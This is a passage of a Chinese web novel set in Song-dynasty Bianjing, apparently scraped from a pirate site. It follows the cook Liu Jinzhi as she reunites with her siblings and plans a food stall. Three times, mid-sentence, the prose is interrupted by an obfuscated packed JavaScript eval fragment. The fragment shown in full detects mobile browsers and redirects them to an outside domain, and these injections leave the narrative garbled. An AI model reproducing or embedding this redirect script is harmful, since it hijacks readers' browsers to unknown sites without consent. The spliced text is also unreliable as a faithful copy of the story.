两道菜都没有翻车,柳金枝擦擦汗,就将砂锅连带红泥炉子一齐搬到傅霁景那边去。 她做菜的时候,为了防止自己炭中毒,船舱里的门窗都是大开的,这些诱人菜香自然散的满船都是。 今个儿上午才买了姜辣羹吃的众船客此时一闻,五脏庙又按捺不住地闹起来,急急忙忙趴在窗口往外探。 我的天爷啊,这位娘子又在做什么大席?怎的就这样香! 杏安也老早就闻见香味儿了,因傅霁景拘着不许他在外乱窜,怕坏了柳金枝名声,就直在舱里头急得团团转,每隔半刻就去舱口张望,口里念叨着:“哎呀,这位娘子怎么还不来呀?” 当真听见柳金枝来敲门时,更是喜不自胜,连忙跑去开门,对着她叉手一拜:“娘子里面请。” 柳金枝倒被他这般热情态度弄得有些摸不着头脑,但还是笑着回万福,将手中菜品递了过去,道:“郎君在里头,我就不进去了,这菜你端好,得趁热才好吃。” 然后就走了。 杏安几声没把人叫住,只能端着菜搁置在桌上,道:“郎君,这位娘子给我们做了好些菜,却不肯进来坐一坐,好歹让我奉她一盏茶。” 傅霁景将手中书卷成一捆,不轻不重地敲了杏安一下,温声道:“人家是未出阁的女儿家,怎能随随便便进我这个陌生郎君的舱门?人家将饮食放下就走,恰恰是知礼数。” 杏安不好意思地挠挠头,又忙指着饮食说:“郎君赶紧来用饭吧,正热咧!” “我每日要背三页书,现下才背了一页,饮食先放着吧,不着急。”傅霁景道。 “哦……” 杏安失望地应了一声,蹲到一边眼巴巴地盯着桌上两道菜,直看的口水直流。 见他这幅馋猫模样,傅霁景失笑,道:“你若是饿,就先吃,不必等我。” 杏安当即转喜,笑嘻嘻对傅霁景叉手一拜:“多谢二郎君。” 就赶紧拣了只小碗,率先从砂锅里扒了两筷子小米焖饭。 他可是一打眼就盯上这色泽鲜亮的饭食了! 嗷呜一口吃下去,杏安险些把舌头都吞掉了半条,连句话都来不及说,只一味埋头扒饭。 筷子和瓷碗相撞发出叮叮当当的声音,叫傅霁景忍不住蹙了一下眉头。 结果杏安吃的太快,小米噎住了喉咙,惹得他赶紧扯过一只小瓷碗倒上羊汤,一仰头,咕噜咕噜灌了半碗。 感觉气通畅了,便又拣回饭碗,接着埋头扒饭。 这吃相倒叫傅霁景忍不住疑惑。 当真这么好吃? 傅霁景的视线不由从书上移到杏安身上,只见一碗黄金焖饭,却撑不到半柱香的时间就被杏安吃了个干净,连一粒儿米也没剩下。而夹出来的羊肉、萝卜更是半点不剩。 吃了一顿饭,两只碗就跟没盛过东西一样。 “郎君。”杏安打了一下嗝,眼睛却犹盯着那些饭食,语气充满遗憾,“你书背完了吗?再不吃,这些个好东西可就要凉透了,多可惜啊。” 傅霁景看看剩下的书页,又望了下还剩下半份的吃食,以及似乎还能再吃一碗的杏安,迟疑半晌后,缓缓放下书卷—— “要不……我先用饭?” 4. 抵达汴京 傅霁景从没吃过这样味道的饭食,明明是普通的小米,为什么就能做到这样好吃?明明是同样的羊肉,这位娘子做出来的味道就是要比其他人更鲜美一些。 他从一开始只是简单试吃,到后面越吃越快,一顿饭食下来,直叫他吃的额头冒汗,脸颊红红。 当最后一口山煮羊汤被吞进肚子,傅霁景发出一声极满足的喟叹:“我当真是极少吃到这样的美味。” 杏安舔着嘴巴,惊奇道:“也不知这位娘子家中是做什么的?这般好的手艺,别说是在秦淮,就是在咱汴京也是排得上名号的。只可惜侯家不识人才,白白把这位娘子撵了出来。依我说,咱不如把这位娘子请回家去。” 虽然傅霁景着实被柳金枝的手艺惊艳到了,但他沉思片刻后,还是摇头拒绝:“不妥。” “为什么呀?” “去岁礼部尚书府的柴大人就因着和我们的姻亲关系,特意拨了两个厨子来家照顾饮食。加上本家的,家中已有五位厨子了。若再请了这位娘子,规格上可就要与几位王爷平起平坐了。” “朝中那些个御史大夫们本就因着父亲年不足四十五,而任户部尚书的事情多次进谏,只因父亲平时恭谨守礼才一直平安无事。这回要是给他们抓住不妥之处,父亲在官家面前该如何说嘴?” 杏安满眼失望,叹气道:“要是二郎这样说,那我们不是最多再吃上半个月,以往就再尝不到这位娘子的手艺了?” “缘来而聚,缘去而散,不必如此伤怀。”傅霁景道。 虽然他心中也颇为可惜,但相比于美食,还是谨守规矩更加重要。 杏安唉声叹气,却也无可奈何,心中只预备着将每日的饭食都吃个干净,也好最后祭一祭自己的五脏庙。 却不知柳金枝本就打算回汴京支小摊儿,兜售姜辣羹只是第一步,第二步她就预备着每日多做一些吃食,争取在船上就拉拢一些食客。 于是不消三天,满船皆知有位柳娘子,家住汴京新曹门边儿上,厨艺十分了得。因预备回汴京盘下一个小摊儿卖吃食,所以在船上先做试卖。 若船上的食客们吃的好,想要与这位娘子做长久生意,就去新曹门的胡同口寻一处“柳记饭馆”。 要是能带上新客一起光顾,还能给你打九折! 这可把杏安高兴坏了,急急忙忙来问柳金枝具体去何处寻她。 柳金枝摸了摸下巴:“新曹门外的胡同里还不够具体么?” 杏安道:“柳娘子,你怕是一直待在秦淮不知道汴京的变化。” 一涉及到吃,杏安比平常精明多了,很快就点出柳金枝的问题:“新曹门外又不止一个胡同,难道你要叫食客们走街串巷似地去找你吗?” 柳金枝承认这确实是一个问题。 原主被卖入孙府后就一直待在三娘子身边,后面又跟去了秦淮,许多年没怎么在汴京的街上漫步过了,对于汴京也不算了解。 “杏安小哥,你与我不同,你是长久的在汴京,定然有法子帮我。”柳金枝对着杏安笑,“若事儿能成,我请小哥你吃笼热乎乎的酸馅儿包子。” 一听说有吃的,杏安顿时两眼发亮,把胸脯拍的啪啪响,豪气道:“娘子你且安心,我有办法。” 就俯身过来,对着柳金枝耳语了一阵。 柳金枝听罢,笑着对杏安万福:“多谢小哥了,晚些时候我就把包子送去。” 杏安点头不迭,乐呵呵地回转了。 原来杏安是将自己在汴京城里的一位朋友介绍给了柳金枝,并号称他人脉广,三教九流的无不认识,保管能为她寻一处敞亮又显眼的地方支摊子,让那些从船上寻过来的食客一打眼就瞧见。 这话若是从旁人嘴巴里说出来,柳金枝自是不信,但杏安毕竟是傅霁景身边的人,她还是信一两分。 于是当晚就将包子做好了送给杏安不提。 为了避免河水结冰严重影响漕运,船只全速向前,不消半月,已经隐隐靠近汴京。 等到日头最盛的时候,船即将靠岸。 船老大和船伙计招呼着船客们依次分批下船,柳金枝是乙字号,还要稍待,干脆坐在自己的船舱里,从窗口朝外望。 漕运码头口一片拥挤繁华,灿烂的冬日阳光洒在波光粼粼的水面,如同给波纹镀上一片金光,碎冰在河面上下起伏,像是坠入水面的金子。 衣着光鲜的船客才下肩舆,怀里揣着汤婆子,倚在石栏边张望下一班船只。脚夫们赤裸上身伏起笨重行李,一步深一步浅走在跳板上,脸上淌满热汗。 再远处,厚重的白雪尚且覆盖着灰色屋瓦,大片小片连在一起。楼栋房屋鳞次栉比,市井人家,烟火繁盛。凡井水饮处,人声鼎沸,欢声笑语不绝。 这就是汴京城,整个宋朝最最繁华的所在。 难怪孟元老时隔多年都无法忘怀这一盛况,人到晚年还挥墨泼毫写下《东京梦华录》一篇,以此纪念往昔。 当真是东京繁华迷人眼呐。 隔窗望了会儿,舱门被人敲响,是船伙计来通知柳金枝下船了。 柳金枝背起包袱开门。 门外站着的除了船伙计,还有个模样憨厚老实的青年汉子。 船伙计道:“这是我给娘子寻的脚夫,信得过,娘子有什么的尽管交与他驮下船。” 柳金枝点点头。 脚夫就与柳金枝见礼,埋头进了舱扛行李。 船伙计却没走,反而又从怀里摸出一只精致茄袋,递过来,道: “这是甲字号一位傅姓郎君叫我转交给娘子的,说是这半个月来的伙食费一发算与娘子。因着他们有事儿早一步下船,所以没法儿当面告劳娘子辛苦,还望娘子不要见怪。” 柳金枝惊讶,接过茄袋打开一瞧,发现里头竟然放了三两银子,也就是三千贯。 但这些日子的食材是对方出,她费的不过是些佐料,花不得什么钱。 再说了,她做吃食本就是为了报恩,可这么一算,她报恩报到最后反多得了二两多钱。 柳金枝难得有些脸红。 但她正是用银子的时候,这钱既然送到手边,便不得不收。 心中对傅二郎遥遥告了声谢,柳金枝腆着脸收下茄袋,又取出十来文谢了船伙计,这才下了船。 宋朝时畜牧业不发达,反映到人们的生活中就是不仅羊肉贵,而且没有好马。就算有好马,也是紧着权贵使用,普通市民则大多都用驴车。 因此租赁驴车的铺子到处都是,柳金枝不废什么力气就找到了一辆,驮着全部行李从开远门进。 整个汴京城分外城和内城,外城的城门内外又额外修有翁城三层,每层瓮城大门互不相对,留有空隙。 这种设计使得汴京城的城墙异常厚实,能够有效抵抗外敌入侵。 进了开远门就是万胜门内大街,两边是西水门鱼街和西浮桥,街面上行人来来往往,络绎不绝。 有的挎着篮子正要去太和宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳金枝回过头来,从记忆里找出妇人的名字,笑道:“黄婶儿,是我,没想到这么多年过去了,你还记着我。” 得了肯定的回答,黄婶儿赶忙对另几个扫雪妇人招手,高兴喊道:“快来快来,金枝回来了!” “什么?是金枝?!” “哎哟,该有许多年没见着她了。” …… 几个妇人将柳金枝围成一个圈,七手八脚地替她拍去身上的雪。 “你这傻孩子,怎么专挑在大雪天回来?” “瞧瞧这手都冻僵了,快去我哪儿烤烤火。” 还有个婶子不说话,只搓热了手把她握住,暖呼呼的温度直流淌进柳金枝心里去。 她记得这些婶子都是跟柳家关系好的,也是看着她长大的,算起来,这些婶子都该是她的长辈才是。 “我的奴契到期了,自然就回来了。”柳金枝笑着回答。 “唉,你回来可就太好了,你都不晓得那两个孩子吃了怎样的苦!” “你那黑心的舅舅、舅妈自个儿卖假药,反被人抓住告到官府,没奈何赔了银子,就想着另赚补贴。” “你舅妈就把两个孩子扫地出门,空出来的屋子挂牌租赁出去!又不许他们在这老屋,怕少一份租金!” “寒冬腊月里,这两个孩子没个地方吃,没个地方睡,全靠胡同里这些个邻里乡亲接济。但大家也没有多富余,也只能勉强养活,却吃不上一顿饱饭。” “这两个孩子可能是饿狠了,没忍住偷了王记的包子。结果王老板报了官,昨个儿双双被抓到军巡铺去了。被判了笞刑,现下正在行刑咧!” 5. 一双弟妹 宋朝的军巡辅就相当于现代的公安局,但比公安局常见,每隔三百步就设立一处,有五个辅兵,凡是宋朝律法严令禁止之类,如偷窃、打人、拐卖等等都归他们管。 虽然事务繁忙,但效率很高,等到柳金枝赶到时,判受笞刑的一批人犯已经行刑完毕。 落满白雪的刑场一片哀嚎,大多都是些十二三岁的少年,衣不蔽体,形容狼狈。 只有一个脏兮兮的小妮子跪坐在刑场最角落的地方,约莫五六岁光景,脸色蜡黄,小脸瘦削,格外显出一双大眼睛,就像一只瘦脱了相的猫儿。头上胡乱扎着两个小髻,瘦削的肩膀上还披着一件明显不符合她年龄的破旧棉衣。 她推着倒在脏地上昏迷不醒的少年,啪嗒啪嗒往下掉眼泪,哭道:“哥!哥!你醒醒啊!” 柳金枝一怔,走了两步上前看清了小妮子的脸。 虽然比起记忆里的襁褓婴孩,此时小孩的眉眼显得更加陌生,但她还是一眼就认了出来,这就是她妹妹柳月牙。 那么地上的这个人,就该是她十二岁的弟弟柳霄。 依照宋朝律法,犯偷窃罪者十岁以下家庭教育即可,十岁以上才执行笞刑。 所以那些鞭子全都甩在了柳霄身上,打得少年皮开肉绽,单薄的衣服一条条裂开,露出一截更为瘦削的苍白背脊。 饶是如此,他的手还紧紧攥着妹妹的手,安慰着她别怕,好似哪怕走到了绝路,也要尽全力站起来挡住妹妹面前的风雨。 柳金枝心中不忍,放轻了声音:“阿霄,阿月,我是大姐,我回来了。” 柳月牙哽咽着抬起脸来,泪水充盈的眼满是迷茫,像是根本记不得柳金枝了。 也难怪,柳家败落,柳金枝自卖进孙府的时候,柳月牙才不到一岁,哪里会认得什么人? 但现下也不是多解释的时候,柳金枝瞧见躺在脏地的柳霄嘴唇惨白,脸却烧得通红,额头冷汗涔涔,眼皮紧闭,根本不省人事。 不能再耽搁下去了。 柳金枝直接上前一步搂住柳霄,将人抱起来时,才惊觉少年身体之轻,简直到了只剩一把骨头的地步。 更何况少年冷到极致,已经开始打摆子。 就像一只即将死亡的小猫,在生命的最后发出一点微弱呼唤。 柳金枝倒吸一口凉气,也管不得柳月牙对她还不能完全信任,直接一手搂紧柳霄,一手扯着哭嚎挣扎的柳月牙直奔医馆而去。 也是老天有眼,医馆的坐镇大夫正好在,粗略诊脉后,沉吟道:“孩子身上的外伤倒是不打紧,问题在于他身体孱弱,底子空虚,可见是长久的不食荤腥,邪风一入体就起了高热。” 柳金枝不由忧心地蹙起眉头。 大夫道:“但也不用过于担忧,待老夫开一副方子,娘子回家熬成浓浓的一碗给他吃,以此驱寒。往后再吃些好的将养着,这底子也能再养回来。” 柳金枝这才松了一口气,放心地跟着医馆学徒去抓药。 汴京药材价贵,几剂伤寒药并上几剂补药,加在一起足足要了她二两多银子,正好对上傅霁景给她的数额。 唉,看来靠不劳而获发不了财,她还是得勤勤恳恳凭手艺赚钱。 柳金枝叹了口气,低身将柳霄背在背上,转身时,一只小手却不知从何处伸来默默抓住了她的衣角。 低头一看,柳月牙已经擦干了脸上泪痕,正仰着一张小脸望她,拘谨又生疏地唤了声:“阿、阿姐。” 这孩子态度转变太快,倒叫柳金枝摸不着头脑,笑道:“你怎的现下就认定我是你阿姐了?你就不怕我是拍花子,要将你和你哥哥一同拐走?” “拍花子不会管我们的死活,但你管,还掏银子给哥哥治病。”柳月牙的大眼睛闪烁着聪慧倔强的光,“而且我听黄婶子说过,我和哥哥确实还有一个大姐姐,只是很早以前就离开了汴京,只有哥哥见过她。” 大概这小家伙方才看见柳金枝摸遍全身掏银子,也要给柳霄看病的狼狈样儿才得出了这个结论。 柳金枝心中软了一下,摸摸她的小脑袋:“你是个聪明孩子。” 二人踏着雪往家的方向走。 早年原主将柳家挂牌租赁给了来往科考的学子,如今房子里还住着人。 即便柳金枝告知了自己不再出租的打算,这家学子也赶不及搬出去,只能先勉强腾出一间狭小的偏室给三个人暂作落脚之地。 室内连个像样的炭盆都没有,冷的仿佛要结冰。 柳金枝让月牙暂时照顾柳霄,自己跑去左邻右舍借了一圈,才勉强凑够一些生活用具。 把炭盆生起来后,红彤彤的火舌总算让屋子多了一丝暖意。 而回头看,柳霄被月牙裹在被子里,不知什么时候竟然醒了,正面前支起身体,睁着一双黑沉沉的眼看她生火。 姐弟两个多年未见,总有些生疏。 柳金枝主动道:“霄哥儿,还识得我么?” 面对苍白狼狈是少年,她温声软语,又上前两步想要去探少年额头温度。 只是手才伸出去,却叫少年猛一下躲开了。 柳金枝的手落了空,尴尬地悬着未动。 月牙就拉拉柳霄,低声说:“哥,这是大姐,她回来看我们了。” 闻言,柳霄还是不说话,反而推开月牙的手,重新躺回被窝里,背对向所有人。 柳金枝不由抿了抿唇。 在她的记忆里,柳霄最喜欢的便是她。 小时候,无论她去哪里,身后都会跟着一个胖乎乎的小豆丁,明明奶声奶气的连句话都说不全,却还屁颠屁颠地扯着她的衣角唤“阿姐,阿姐”。 尝过一口的果子,只要觉得好吃,就会高高兴兴再拿一个新的,如珍似宝般塞给她。 等稍大些了,得知她最怕狗,就天天拿着根树枝出去行侠仗义。 那段时间胡同里的恶犬都被柳霄折腾了一遍。 一次她路过,还瞧见柳霄跟一只野狗打作一团。她赶忙上前拉了,才发现这狗就是近来吓哭她的那只。可被柳霄打了一顿,再看见她也只嗷呜嗷呜地唉叫个不停,再不敢放肆。 小小的柳霄叉着腰,满脸是伤,却又十分自豪地说:“姐,你瞧,我能护着你!” 但这么个心心念念记挂着她的小人儿,却在得知她要离开汴京时狠狠咬了她一口。 那天柳霄来送行。 孙府里头敲锣打鼓,新娘子马上就要出门,所有流程紧锣密鼓般安排着,她作为陪嫁丫鬟,忙的仿佛要窒息。 可因许久没见过弟弟,她挂念的很,最终还是苦苦央求了府内的管家老婆,才得了一时半刻的喘息时间,赶出来和柳霄说说话。 柳霄穿的粗布麻衣,脸上也有些脏,低着头,闷声问:“阿姐,你又要走吗?” 她满眼愧疚,点了下头:“嗯。” “那、那我和月牙能不能跟着你一起走?” 她轻轻摇头:“不可以,秦淮那么远,我又要在小姐身边随侍,腾不出手来照顾你们。你们就在汴京待着,有舅舅、舅妈照顾,我心里也安心。” 少年红了眼眶,哀求说:“求求你了,阿姐,我能照顾自己和月牙的。” 她还想说什么,可耳边喜乐声更加高昂,墙内也响起了管家婆子催促的声音。 “霄哥儿,你听话!”她不得已要走。 柳霄却哭着拉住她:“阿姐!你为什么就是不肯带着我们?我们是不是成了你的拖累,让想要丢下我们!” “霄哥儿,我从没有这样想!”她瞪大眼睛。 “那你就不要去秦淮!我讨厌舅舅,讨厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458079|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅妈,我要你回来!” “霄哥儿闭嘴,你怎的这么不懂事?!” 她生气。 管家婆子走出角门来催她:“怎么还不进来?小姐就要出门了,正寻你呢!” “就来。”她大声应着,又要走。 柳霄却在这个时候猛然扑上来,狠狠咬了她小臂一口。 她一时吃痛,忍不住打了柳霄一掌,人摔在了地上,扬起一片灰,却倔强地瞪着一双泪红眼看她。 “霄哥儿……” 她下意识想去扶,柳霄却一股脑爬起来拼命跑远了。 管家婆子很惊异:“这个脏兮兮的小人儿是你家弟?怎的咬你一口?” 她低头看着小臂上那道鲜红深刻的牙印,心绪懊恼又纷乱,却只偏过头,泪中带笑:“嗐,小孩子不懂事,长大他就明白了。” 但是长大以后的柳霄,现在只用瘦削的后背来面对他的阿姐。 柳金枝吐出一口气,对月牙道:“你们应该饿了吧?我先去做饭,顺便把药煎上。” 月牙仰着脸看她,道:“阿姐会做饭?我听黄婶子说,阿姐以前在家里做饭常常烧锅坏灶。” 原主确实不怎么会做饭,而且也不爱做饭,整个柳家都知道,所以家里的饭食都是柳母和柳霄准备。 柳金枝随口解释:“后来学的。” “是向膳工们学的吗?” “嗯。” “他们凶吗?” 柳金枝回忆了一下侯府里的那些个一脸横肉的膳工,点头:“很凶。” 身后的被窝忽然动了一下。 柳金枝没发现,端着炉子去外边烧火。 月牙跟在柳金枝后头。 面对这个新回来的大姐,月牙既新奇又好奇,于是追着柳金枝问汴京之外的事。 柳金枝见小孩子喜欢听这些,就将自己在秦淮侯府里多年生活一一讲给她听。 很多在柳金枝看来司空见惯的事儿,都要引起月牙一阵惊呼。 柳金枝不由觉得月牙可爱。 只是讲着讲着,门后不知何时站了个清瘦的影子。 在听到柳金枝轻描淡写地讲,被赶出的侯府经历,那场冻坏人的夜雪,长久立在门框处的人终于开口,声音嘶哑又饱含恨意: “他们竟敢这么欺负你?!” 柳金枝一愣,转身看过去,柳霄脸色惨白,手还紧紧扣住门框,明显是强撑一口气站着,却倔强地盯着柳金枝,似乎定要讨个答案。 “都过去了,我也没死。”柳金枝走过去将人扶住。 “那也不像话!”柳霄剧烈咳嗽起来,惨白的脸上浮现一抹酡红,却仍喘着气,“他们这样草菅人命,就是欺负你身后无人又老实!要不是咱家败落了,也不至于让你吃这样的苦。” “以后时间还长,且看吧,他们不会一直得意的。”柳金枝拍拍他的肩膀,“再说了,我现在回来不是更好?带着你们一起过好日子,重新在这汴京落地生根。” 柳霄怔愣了一瞬:“你、你不走了?” “嗯,从今以后都不走了。” 柳霄眼眶刹那间泛红,却又僵硬地偏开头,哑着嗓子说:“随你,就怕到时候你受不住,又卷了包袱去了。” 尔后转过身躺回了床上。 柳金枝笑了下。 当年的不愉快是因为双方各有苦衷,她能理解柳霄。而柳霄虽然嘴硬,心里却也还念着她这个阿姐。 只要家人齐心,就不愁过不好日子。 “月牙,想吃什么?”柳金枝心情舒畅,笑眯眯地低头问。 月牙咽了口唾沫,两眼发亮的说:“拨鱼儿!” “好!” 柳金枝撸起袖子,从行囊包袱里取出一应材料。 起锅!开整! 6. 汴京第一帮闲 临近午时,采莲胡同里的妇人们都停了手中活计,在家中暖酒用饭。 街上无人走动,却有一帮闲溜溜达达进了胡同,到院子里头来,停靠在柳家旧宅门首。 有个守门的小厮见了这帮闲,笑道:“应大哥怎的有功夫来这里走走?” “你这小猢狲,你哥我哪日不来瞧瞧你家轩哥儿。”应天爵穿着皮袄,拢着袖子,“若不是怕打搅了他温书应举,你哥我早带着你们出去寻快活了,还让你在这门首干守着?” 小厮对着他叉手一拜,笑道:“多谢应大哥惦记,轩哥儿这会子正用饭呢,您也请进去吧。” 应天爵笑嘻嘻地往里走,余光却瞥见他们偏室前大大小小堆满了麻袋、箱笼。 除却从其中几只精致的檀木小箱子,可以看出是未出阁女儿家的物件儿,其余的麻袋里竟然都装着各式调料吃食,倒像是采莲胡同小院儿里搬进来位膳工。 “这又是哪位?”应天爵问。 “嗐,是这宅子的原主,说是他们也急着住房,所以租完这一季就不再挂牌子了,还催咱们快点找下一季的宅子呢。”小厮说,“也是轩哥儿心善,听他们无处可去,还腾了一间偏室与他们住了” “哪儿有这般道理?寒冬腊月的,最不好找干净宅子了。”应天爵脚步一转,“你且让我与她去说道说道,可不能让轩哥儿吃了这亏!” “欸,应大哥,应大哥!” 小厮拉了几下没拦住,又怕惹出是非,只好赶紧去告诉轩哥儿。 而应天爵几步走到偏室门口,只见门虚掩着,干脆一脚踹开,正要嚷嚷一句“叫当家的出来和我说话”,却迎头被一股香味儿打了一闷棍,下意识往饭桌上看去—— 一大碗大头小尾巴,状似小鲫鱼的面片儿汤。 面汤看起来乳白,泛着金黄油光,又撒了一把葱花,颜色鲜亮。面片儿劲道弹牙,在汤中沉沉浮浮,像鱼戏溪水。似是刚捞出来一碗,此时正是热气腾腾的时候。 桌边坐着个六岁光景的小妮子,正就着汤碗狼吞虎咽,那呼噜呼噜的吸面声,光是听着就叫人流口水。 正值饭点,应天爵还没用饭呢,五脏庙不由得闹起来,找人麻烦的心思一下子散了一半。 可他这突然闯进,叫屋子里几个人都瞪大了眼睛,还以为是大白天遭了强盗。 柳霄咳的撕心裂肺,却将喝了一半的药碗一搁,站起来就要跟去跟应天爵拼命。 谁知柳金枝比他更快,操起一把菜刀冲到应天爵面前,美目圆睁,厉声喝道:“哪里来的贼子?!大白天的也敢光顾你姑奶奶的门首!” “娘子手下留情!”应天爵被唬得大跳一步,“莫要误伤好人!” “好人能在大白天踹人家门?”柳金枝将一双弟妹牢牢护在身后。 柳霄则一边将月牙抱在怀里,一边注意着柳金枝。预备只要应天爵乱来,他就扑上去咬住应天爵的胳膊,撕下他一块儿肉来! “我这脚是鲁莽了些,这厢与娘子赔个礼,但我只想替我兄弟与娘子再谈谈房屋租赁的事儿。” 应天爵倒不知市井娘子竟然都泼辣到了这般程度,一时被震住了,脸上连忙挂起笑。 那边项志轩也赶忙过来,替应天爵赔了个不是,又与双方做介绍,这才知道原来这应天爵乃是汴京第一帮闲。 平日正经事不做,专司与大贵族、大官僚们、富人等消遣玩乐。 又因他脑筋灵活,嘴皮子利索,人脉又广,往上甚至还能与某个王爷说两句话,在汴京这一片吃的很开,没人不卖他个面子。 不过应天爵倒不怎么摆谱,该怎样还是怎样,自上次解试碰见名列前茅的项志轩,与人结了把子后,就常来采莲胡同这里走动。 如此,柳霄便明白应天爵是见项志轩有才,故意结交。这回踹门,也是为了拿他们做筏子,演给项志轩看的,也好叫这读书人知道应天爵是真拿他当兄弟。 当下脸色就难看起来。 倒是柳金枝知晓了应天爵姓名以后长眉一挑,语气竟然转为温和:“恁个说是一场误会。” 将菜刀往身后一藏。 “奴怕是吓着两位了,正好舍下已备着一桌饭食,若不嫌弃,还请两位进来用,席间再谈房屋租赁的事儿。” 应天爵求之不得,拉着项志轩就往里坐,柳金枝给二人捞面。 项志轩一开始还不怎么好意思,但见柳金枝用长柄铁勺舀起一片面糊,再用小勺子沿着边缘往滚水里拨,每拨一片儿,都是大头小尾巴状似小鲫鱼的面片儿,面食香气随着蒸腾水汽直往人面上扑。 等面片儿煮熟之后过凉水,再盛在一个小瓷碗里,撒上小葱花,淋上几滴石磨香油,再辅以老抽、香醋、白盐拌匀,最后浇上一勺浓浓的高汤。 这香气勾的人食指大动,叫项志轩连不好意思也忘了,接过碗,道过谢,就埋头苦吃,就算是烫了舌头也顾不得。 应天爵更是吃的鼻尖冒汗,脸颊通红,呼噜呼噜喝扒完一碗后又叫一碗。 柳霄见他们跟饿死鬼投胎似的,磨了磨牙,正要说话,柳金枝却将他拉一拉,示意算了。 “你还没吃呢!”柳霄愤愤不平。 柳金枝心中一软,摸摸少年柔软的发顶:“等下吃两个包子垫垫就好。” 柳霄又气闷的不说话。 待到应天爵与项志轩两个吃完,两个各是满足的喟叹一声。 应天爵道:“难得有这么好吃的拨鱼儿,娘子的手艺当真是一绝,为何不去开个饭馆做生意?就是怕没有本钱,也可先支个小摊儿做着,不怕将来没有发达的一天。” “我正是这样想着呢,奈何不太熟悉汴京环境,一时间不敢动手。” 柳金枝微笑。 “好在返程途中奴有幸遇着位小哥,名唤杏安,乃是傅府的家人。他与了奴口信,叫奴到了汴京便去寻一位叫应天爵的先生帮忙,定然能够在汴京站稳脚跟。” 原来当初杏安给柳金枝推荐的,那位三教九流都认识的朋友就是应天爵。 应天爵抚掌大笑:“原来是傅二郎身边的杏安小哥,我与他也是老交情了,这一回可谓是大水冲了龙王庙,一家人不认一家人了,这个忙我定然帮!” 又因杏安是傅霁景身边得脸的小厮,而傅霁景出身又格外了得,应天爵有心巴结拉拢,于是将项志轩介绍给柳金枝,让柳金枝唤声项大哥,又自个儿亲亲热热唤柳金枝一声柳妹子,把关系喊的更亲近不提。 饭毕,送了项志轩回自个儿房,应天爵坐下与柳金枝细聊:“柳妹子,汴京城里是天子脚下,到处都是规矩。你若是要做饭食生意,就得入食饭行。” 所谓食饭行,就是当地餐饮行业自发成立的行业协会。 无论是开大酒楼、小饭馆还是支小摊儿的,哪怕只是挑着个担子,如武大郎一般走街叫卖炊饼,也得先入了食饭行再说,否则就算没有营业资格。 当然,入了食饭行也是好处多多。 很多新手小白刚入行不懂规矩,食饭行里的一些“行老”就会手把手的教,如在何处地方摆摊?与食客发生矛盾了怎么办?若被食客讹了该如何处理?诸如此类。 而官府出台了什么新政策,食饭行也会第一时间通知,不叫各个生意人吃亏。 “妹子你要是来得及,咱们今个儿就去食饭行挂名、缴钱,到明个儿你就能支摊子摆卖。”应天爵笑说,“正好我在食饭行也识得一行老,就叫他替你谋个吉利摊位,保管你客似云来!” 柳金枝听了,高兴拜谢,道:“多谢应大哥,只是今日还是太过仓促,待到明日我将一应食材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜市就不一样,宋朝没有宵禁,又取消了市、坊隔离,就算在夜市上卖到凌晨都没人管你,赚得自然就比早市多。 可是相应的,夜市卖的时间长,准备的柴火、菜蔬、清水等等东西都要在朝食的基础上翻一番。 没有一定的本钱也盘不下来。 柳金枝只能一步一步来。 “明日一早,咱仨就去找隔壁黄婶子借个独三轮儿,去早市里买些新鲜菜蔬、面粉、小麦以及一应调料。” “午间我再去食饭行挂名、缴钱。等我取了牌子回来,咱们就在院子里做吃食,预备着明早去卖。” “以汴京的物价,只要咱们勤恳努力,日子一定能越过越红火。” 柳金枝对未来还是充满希望的。 月牙眼睛越听越亮,小脸上全是向往。 “但在此之前,阿姐得给你们一人置办几身像样的衣裳。”柳金枝把月牙和柳霄拉到怀里拢着,温柔又细致,“冬日这般冷,小心冻坏了。” 柳霄耳尖微红,别别扭扭地偏开头,道:“要做就给月牙做吧,我不要。” “为什么?”柳金枝歪头笑。 柳霄气道:“你才攒了多少银子?就这样花销。汴京城里物价贵,普通人一天也就赚个百来文,但买斤肉就要花三、四十文,菜蔬瓜果便宜些的也要十几二十文……” 他恨不得掏出个算盘来算账,像个古板的账房先生。 “所以,要是明日不够买菜就惨了,能省则省。再说了,我是男子汉,抗冻,一点儿都不怕冷。” 可他冬日里还穿着单薄春衫,以至脸色苍白,嘴唇也没什么血色,手冷的像块铁。 “赚银子就是用来花的,我偏不省,就要给你买!”柳金枝抱起月牙往外走,笑嘻嘻地说,“我还要一人买两件,月牙你说好不好?” 月牙抿嘴笑,偷偷看柳霄的表情。 柳霄一张脸气成河豚,却又不得不跟上,只是看柳金枝的眼神仿佛在看一个“败家子”。 小小年纪却老气横秋,叫柳金枝和月牙偷偷相视一笑。 走咯,买衣服去。 7. 砂锅辣子水滑面 花了百来文钱给柳霄、月牙一人买了两身成衣,天色也晚了。 虽然宋朝取消了宵禁,百姓大可在入夜后尽情逛夜市,但奈何柳金枝囊中羞涩。 毕竟粗略一算,即使是加上在客船上挣得银子,她手里也才一千贯左右。 可要省着点花。 于是三人默契地穿过热闹夜市回到采莲胡同,闭口不提逛街一事。 而柳家旧宅里,项志轩因应天爵嘱咐照看着些柳金枝,便遣身边小厮勉强收拾了一间侧室出来,又将厨房的备用钥匙给了柳金枝,叫她随意用着。 这种好事柳金枝自然多加拜谢不提。 于是当夜就拣好床铺,叫柳霄一个人睡一间,月牙与她同寝。 月牙才八岁,却在一岁左右就殁了双亲,柳霄只能勉强养活二人,一些良好的生活习惯却是顾不得。 